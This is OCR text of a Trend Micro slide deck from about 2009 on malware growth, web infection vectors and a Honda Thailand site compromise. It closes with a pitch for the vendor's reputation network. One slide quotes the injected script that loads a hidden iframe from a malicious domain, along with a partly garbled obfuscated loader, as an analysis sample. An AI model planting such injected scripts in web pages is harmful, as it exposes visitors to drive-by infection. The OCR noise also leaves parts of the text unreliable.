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Why do we need a new approach against
malware?

Because Cybercrime is
mainstream now!

A malware industry has
been established!

Cybercrime is bigger than the drug trade today?
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Collaboration in the Underground

Botnhet
Vendors
and Hackers

Carders

Independent Spammers
Businessman Blackmailers

Anti-
Detection
Vendors
ToolKkit
Vendors

Malware
Vendors
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Increase in unique malware samples

1988: 1738 unique malware samples

1998: 177615 unigue malware samples

2008 Jan-May: 2753587 unique malware samples*

Data source: AV-Test.Org, June 2008
* = January - May 2008
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Increase in unique malware samples -

AV-Test.org's Sample Collection Growth
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Data source: AV-Test.Org, June 2008

Note: Samples include malware variants
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Incoming Threat Samples Per Hour

2
Trend Micro processes 1500 samples
per hour in year 2009
16,43
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Problems in the pattern deployment in the future?
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Why Internet Security?

Top threat infection vectors
(how threats arrive on PCs)

Threats now mostly from the Internet
1. Visits to malicious websites
(42%)

2. Downloaded by other malware
(34%)

3. E-mail attachments & links
{ 9%)

4. Transfers from removable disks
{ 8%)

S. Other (mostly via Intermet)
- /o\
source: Trend Micro

JNTERNETI
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A Typical Web Threat 1 9th of May 2008

File Edit View History Bookmarks Tools Help

¢ - . \» LE__ [ http://www.honda.co.th/accord/main.html v B |G-

2 Honda Automobile {Thailand) Co.,Ltd. All rights reserved

Done

e

©
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What does the HTML Code look like?

Fle Edit Wiew Help

<td:img sre="images/p_02.]pg" width="325" height="130" border="0" /»</td>
Wty
<t

<td{img src="images/p_04.]jpg" width="325" height="130" /> td>
ot
<t

<td-img sre="images/p_06.7pg" width="325" height="105" /»</td>
<t
<t

<tdsimg sre="images/p_bl2.jpg" width="325" height="80" /< td:
Wty

» HTML_IFRAME. QJ 1 first detected since
April 29, 2008 using scan engine 8.300 and
pattern file 5.247.00.

</ tablex</ td>
<td-table width="325" border="0" cellspacing="0" cellpadding="0">
<t
<tdsimg sre="images/p_bl@.jpg" width="335" height="65" /< td:
< t<:>tr> I} de-obfuscated.txt - Notepad
<td<img sre="images/p_bll.jpg" width="335" height="70" /></td> Ele Edit Format yew Help
<t <SCRIPT>window.status="Done"; document.writ
ot e('<_‘if;ame qqme=926ac60§ (nFo/dir ind
: —— WIZEN had e src="http://getanewmazda. info/dir/index.p
<J<ttg><1rng sre="images/p_03.]pg" width="335" height="130" />{/td hp? ' +math. Ad(Math. random() *261954) + " ec3
r 4d7dd3c3f’ width=594 height=441
<ty ) ) style=""display:
<td-<img sre="images/p_85.]pg" width="335" height="130" /»{/td> Y=/ iframes" )</ SCRIPT=
ot
<ty
<tds<img sre="images/p_87.jpg" width="33
ot

an i frame \6éhtstrpc:=/ /| get anewma z dja

<td-img sre="images/p_bl3.jpg" width="3 . ..
g Getanewmazda.info stores malicious code

</tablex</td>
Sty
</table>

</body> J
</ htril>
<itrame sre='http://url’ widthe'l' height='1' style='visibility: hidden; '»</iframex<script=function v4§22210e7b881(v4822218e7c050]){ function v4822218e7c826 () {var v4822210e7cffl=16;

return v4822210e7cff1;} return(parselnt(v4822210e7cE50, v4822210e7c826() ) ) ;Hfunction v4822210e7d7c(v4822210e7dth3){ function v4822218e7f6fe () {var v4822210e7fece=2; return
v4822218e7fece;} var v4822218e7e77d="";for(v4822210e7ef30=0; v4822210e7ef30<v4822210e7dTh3. length; v4822210e7ef30+=v4822210e7fEfe(] ) {

v4822218e7e77d+=(5tring. fromCharCode (v4822210e7b881(v4822210e7dfh3 . substr(v4822210e7ef30, v4822210e7f6Te()])));return v4822218e7e77d;}
document.write(v4822218e7d7c0( ' 305343524950543E77696E646F 772E7374617475733027446F6E652 73R646F637560656E 742E7 772697465282 730 696672616065 205E6160653 062666430623 13565626220737263305C2
[«] m [ [>]
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Fast Reaction from Hondal

@@ - |§, hkkp: ffwy . honda. co.thyf b

Datei  EBearbeiten  Ansicht  Faworiten  Extras 7

W

E under construction l l

HONDA

Under Construction
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Another Typical Web Threat

1. Your boss asks you to develop a corporate travel policy
2. You begin with a Google search on travel policy

First result Is

a .gov site

Second result

looks like a
good choice

Trend Micro Channel Confidential

A travelpolicy - Google Search - Microsoft Internet Explorer

GO Ogle [travelpolicy | [ Search | W

Results 1 - 10

procedures and documents

www._gsa.goyl
www.zequel.com

How To Write An Effective Travel Policy Manual
Do-it-yourself travel policy gunde for your busmess 44 page tep by step guide
com/ - 3k - i-S

REGION 3 TRA
REGION 3 TRAVEL POLICY FOR TRAVEL PLANNING AND REIMBURSEMENT. (Operations
Manual - APPENDIX B.1). Necessary and authonzed travel expenses associated wath ...
wwiw ewh ieee_org/regf3/fexcom/mestings/present-travelpolicy html - Similar psges

Travelgollcx Info Page

b be to Tr Ipolicy by filling out the follovang form. ... To unsubscribe from
Travelpolicy. g=t a password reminder, or change your subscription ...
lists hes harvard. edu/mailmanilistinfo/travelpolicy - 7k - Cached - Similar pages

ros; A. PRE-TRAVELPOLICY Policys ecionMaximumbenefitExces s ...

File Edt View Favortes Tools Help a

QBack - ) ¢] & @2 O search ¢ Favorkes €2 JE o< 3

Address &'] http://vawve.google. com/seard’f’hl-en&kr &ris= GGLG°/o2CGGLG°/a3A2006 08%2CGGLG°/°3Aen&q—u'aveb > . Go Lnks

Google [Glvtaveipolcy |Go ¢ @ EF ~ ¥ Bookmarks~ |EJ Popups okay| ¥ Check ~ & Autolink ~ > () Settings~
Signin =

Search for
mrave polidy Did you mean: travel policy Sponsored Links
Images GSA - Travel Manageg!!em
Maps The shortcut to this page is www.gsa. govitravelpolicy. Last Reviewed T Poli -
Mews 6/22/2006. Printer Friendly 1ormat CONTACTS Add:llonal Contacts For . Software that manage your policies,

File Format PDFJMobe Acrobat - View as HTML . . Oct 7 2006 ~

&] £ Internet
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Example: Haxdoor

1. You click on the second search

result

2. You waitethe
be downloading images and

S

contentéyou wali

waiteée

3. Finally you close the browser
wi ndowéeyouol |

i Trend Micro Channel Confidential i June-2009 i 13
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Fle Edt View Favortes Took Heb ]
|.J ) _"J .ﬂ :f:~ /.'- Search »-J:,:-Favortes e vy owm L) ﬂ @ q 3

|l nd anot her Ssi te

4 My Computer

3
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Example: Haxdoor

Unbeknownst to youé

1. The IFRAME at the top of the page leads you to an
iIndex.htm file

2. This file includes a script that exploits the MS Internet
Explorer (MDAC) Remote Code Execution Exploit
(MS06-014)

I The original exploit code has been modified to try to bypass AV
scanners that detect the original exploit

3. An executable file (win.exe) is downloaded to your
system and executed

4. You now have a backdoor with rootkit featuresd a
variant of the notorious family of backdoor rootkits known
as Haxdoor!

i Trend Micro Channel Confidential 1 “June-2009 | 14 i Copyright 2009 - Trend Micro Inc.



Trend Micro Smart Protection Network (Web)

Correlation:
. ) URL End User 3rd Party URL Threat URLs in Customer URLs
SOU Icl ng . Sourcing Query Traffic a Sources Research Spam Mails Feedback

URL Automatic Rating Systems ;
Analysis Category Collaboration
JIT Human Validation Anti-Spam
Operation
Processes more than 50 Million
new | P addresses é | Malicious EXE or URLs K -Malware
,32 Category Reputation eration
(%2}
Processes more than 1.2
Terabyte daily Threat Research
Operation
More than 1000 Global Threat ~ Yy
Research and Analysis Experts l
Operates 24/7 in 10 centers Worldwide Services Dispatch

Email Security Services
around the world Y

L URL Services URL Services URL Services Email _
Query Points Query Points Query Points Reputation Services

Category & Reputation Score #

DNS & HTTP —* OEM Partners
Point
Products
URL Filtering Service Web Reputation Service
AV/AS Detection Signature or Heuristics

URLs with malware
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